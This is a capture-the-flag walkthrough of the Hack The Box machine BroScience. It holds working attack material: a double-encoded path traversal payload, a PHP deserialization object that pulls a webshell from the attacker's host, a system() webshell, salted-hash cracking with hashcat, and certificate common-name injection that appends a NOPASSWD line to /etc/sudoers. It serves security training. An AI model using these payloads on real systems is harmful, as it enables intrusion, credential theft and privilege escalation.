Featured image of post HTB: BroScience

HTB: BroScience

Hack the box BroScience walkthrough

BroScience

Initial Enumeration

Initial nmap scan reveals ssh, and what looks like a website on 80 and 443:

1
nmap -sV -T4 -p- broscience.htb
1
2
3
4
5
6
7
8
Nmap scan report for broscience.htb (10.129.228.129)
Host is up (0.038s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.54
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Attempting to visit the website on port 80 automatically redirects us to port 443 to what appears to be a website dedicated to working out.

In the top right corner there is a “login” button that leads to a login page. on that page, there’s an option to create an account. If we register, we get a message saying the account was created, and we have to check our email for the activation link. If we attempt to login with our credentials, we get the message “Account is not activated yet”. As an email is not actually sent, we cant login for the time being. lets leave that for now.

LFI

If we view the source on the homepage, we can see that the images are sourced from the includes/img.php page, with the path to the image passed in to the path parameter. For example:

1
<img src="includes/img.php?path=bench.png" width="600" height="600" alt="">

This smells like a good place to check for an LFI vulnerability. If we click on any image link, intercept it in Burp, and send that request to repeater, we can play with the request to see if we can read files. An initial test with plain ../../../../../../../etc/passwd shows that our attacks are being stopped by some sort of filter.

after a little more enumeration, it looks like any request containing ../ will get blocked. We can try to URL encode (I like using cyberchef):

1
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

But this doesn’t seem to work. However, if we double URL encode, this seems to bypass the filter:

1
%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

In the above output, the user bill stands out as the only user besides root who seems to have a shell. We can also not the presence of the postgres user, indicating the website is probably using a Postgres db on the backend.

Website source code enumeration

Now that we can read files, its a good idea to try to read the source code of the website to see if we can find any vulnerabilities that lead to RCE, or at the very least allow us to activate the account we made earlier.

We can start with register.php, and continue to the contents of the includes directory, which can be listed by simply visiting https://broscience.htb/includes/:

db_connect.php and utils.php look especially important. the db_connect file has creds for the Postgres db:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

Those creds don’t seem to work with anything, so we’ll save them for later. The first function in the utils file has the code used to generate the activation code:

1
2
3
4
5
6
7
8
9
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

It looks like a random code is being generated. However, it looks like the seed for the random code generator is set by taking thee current time (see the docs for srand()). This means that if we get the time from our account creation request, we should be able to generate the activation code. Create a new account while proxying the traffic. The date can be seen as follows:

We can then copy the function into our own script and run it on the command line. We can convert our date string to a timestamp with strtotime(), or by using a website such as https://www.epochconverter.com/. The script is as follows:

1
2
3
4
5
6
7
8
9
<?php
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(strtotime('Mon, 27 Feb 2023 03:26:06 GMT'));
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
    $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
echo $activation_code . "\n";
?>
1
2
3
╭─kali@kali ~/Documents/HTB/boxes/broscience 
╰─$ php phptest.php
afM8AdVdRM52K3k6LwxrA09cAqgCLAp5

We can then visit https://broscience.htb/activate.php?code=afM8AdVdRM52K3k6LwxrA09cAqgCLAp5 to activate our account (the URL for activation can be found on line 44 of register.php).

PHP deserialization

After logging in, we see we can toggle the site between light and dark mode with the paint can icon in the upper right corner. Lets see if we can see this functionality in the code. At the bottom of utils.php, we can see some interesting theme and avatar functionality in the code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

If we read through the code above, it seems that the users theme preference is stored in the user-prefs cookie as a base64 encoded serialized PHP object. We can see this by grabbing the cookie from any of our previous requests, and decoding it:

1
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}

Here’s a breakdown of the string:

  • O indicates that this is an object.
  • 9 indicates the length of the class name "UserPrefs".
  • "UserPrefs" is the name of the class.
  • 1 indicates that there is one property in this object.
  • { marks the beginning of the object’s properties.
  • s indicates that the following data is a string.
  • 5 indicates the length of the property name "theme".
  • "theme" is the name of the property.
  • s indicates that the following data is a string.
  • 5 indicates the length of the string value "light".
  • "light" is the value of the theme property.
  • } marks the end of the object’s properties. Now that we understand how PHP objects are serialized, we can try to leverage this into RCE. Taking a closer look at the code, it doesn’t look like the theme functionality is vulnerable. However, the Avatar and AvatarInterface classes look promising. The AvatarInterface class has a __wakeup() function which is called when an object is deserialized. When a new instance of AvatarInterface is deserialized, it creates a new instance of Avatar, which has functionality to write the contents of the file pointed to by the $tmp variable form the AvatarInterface into a file specified in $imgPath. The Avatar class uses file_get_contents() to fetch the data in the resource pointed to in the $tmp variable. If we read the manual for the file_get_contents() function, we see that a remote URL can be passed in as the source. Taken all together, this means we can create a serialized instance of the AvatarInterface class with the path set to something like /var/www/html/shell.php and the $tmp variable as a file hosted on our machine containing a webshell, thus causing our webshell to be written to the webserver in a location where we can reach it when the object is desterilized. If this isn’t clear, I recommend putting the above PHP code into ChatGPT and asking for an explanation, and reading up on PHP deserialization attacks. A good explanation can be found here.

My serialized, unencoded payload looks like this:

1
O:15:"AvatarInterface":2:{s:3:"tmp";s:28:"http://10.10.14.98/shell.php";s:7:"imgPath";s:23:"/var/www/html/shell.php";}

My webshell that is hosted on a webserver form my machine as shell.php is:

1
<?php system($_GET['cmd']); ?>

The serialized object can be base64 encoded and set as the auth cookie, and the request sent. You should see your webserver get hit by requests to GET shell.php. You can verify it work by visiting https://broscience.htb/shell.php?cmd=id. You can then get a reverse shell using a payload from a website like https://www.revshells.com/. I personally chose the Python3 #2 payload.

Its important to note that this attack can only be carried out as an authenticated user, as the code checks that a valid session with an ID has been established.

Escalation to bill

Cracking Bill’s hash.

We land on the machine as the www-data user, but the user flag is in bill’s home, and is unreadable, so we have to find a way to get a shell as bill. If you remember from earlier, we have credentials to the Postgres DB from the dc_connect.php file. We can use these credentials to log in:

1
PGPASSWORD='RangeOfMotion%777' psql -h 127..0.0.1 -d broscience -U dbuser -w

If you get errors like could not identify current directory: No such file or directory, try going out of and back into the current directory and trying again. Once logged in, we can list tables with \dt, and then select everything from the users table with:

1
SELECT username,password FROM users;
1
2
3
4
5
6
7
   username    |             password             
---------------+----------------------------------
 administrator | 15657792073e8a843d4f91fc403454e1
 bill          | 13edad4932da9dbb57d9cd15b66ed104
 michael       | bd3dad50e2d578ecba87d5fa15ca5f85
 john          | a7eed23a7be6fe0d765197b1027453fe
 dmytro        | 5d15340bded5b9395d5d14b9c21bc82b

If you try to crack these hashes straight, you wont get anywhere. This is because, if you remember from the db_connect file, there is a salt ("NaCl") being added to the passwords as they are hashed. If we take a look at line 41 of register.php, we see that the salt is added before the password, and then hashed:

1
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

In order to crack these hashes, we have to format them correctly. If we look at the Hashcat examples page, we see that mode 20 is MD5 of a salt, followed by the password. The hash format is MD5-HASH:SALT:

My hashes.txt file looks as follows:

1
2
3
4
5
13edad4932da9dbb57d9cd15b66ed104:NaCl
15657792073e8a843d4f91fc403454e1:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl

We can then crack with:

1
hashcat -m 20 hashes.txt /usr/share/wordlists/rockyou.txt

By matching the cracked hashes to the hashes in the DB, we can see that Bill’s password is iluvhorsesandgym. This works to log in with ssh.

Escalation to root:

If we look around the file system, we find a script in /opt/renew_cert.sh. If we view the file, we can see that its a script that renews certs if there is less than 1 day (86400 seconds) until the certificate expires. We can download and use pspy and see that root is running the following on a periodic basis:

1
/bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt

If we follow the logic of the script, we see that the following happens:

  1. check if the cert passed in as the argument expires within the next day
  2. if it does, get all the information out of the cert and store it in variables.
  3. print that information out to the terminal.
  4. generate a new certificate with the old information, and output it to /tmp.
  5. copy the .crt file from /tmp into Bill’s home directory in the Certs folder, with the common name of the cert as the file name. What we can take advantage of is the fact that the common name of the cert is being used to build the command that moves the cert from /tmp to /home/bill/Certs/ in this line:
1
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

Seeing as we can create a cert that expires within the next day, and put whatever we want as the common name, we can inject code when root runs the script next. Lets set the common name to a command that will add bill to the sudoers file, and let him execute anything without a password, essentially giving us root. The common name will be as follows:

1
test && /tmp/s.sh && echo test

Generate the new certificate with:

1
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout ./temp.key -out ./temp.crt -days 1

And the contents of /tmp/s.sh:

1
2
#!/bin/bash
echo 'bill ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

Thew reason we are prepending and appending test and echo test is so that the script doesn’t break from our payload. essentially, this is now what gets executed at the end of the script:

1
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/test && /tmp/s.sh && echo test.crt"

Now wait for root to execute the script, and elevate with:

1
sudo su 
Built with Hugo
Theme Stack designed by Jimmy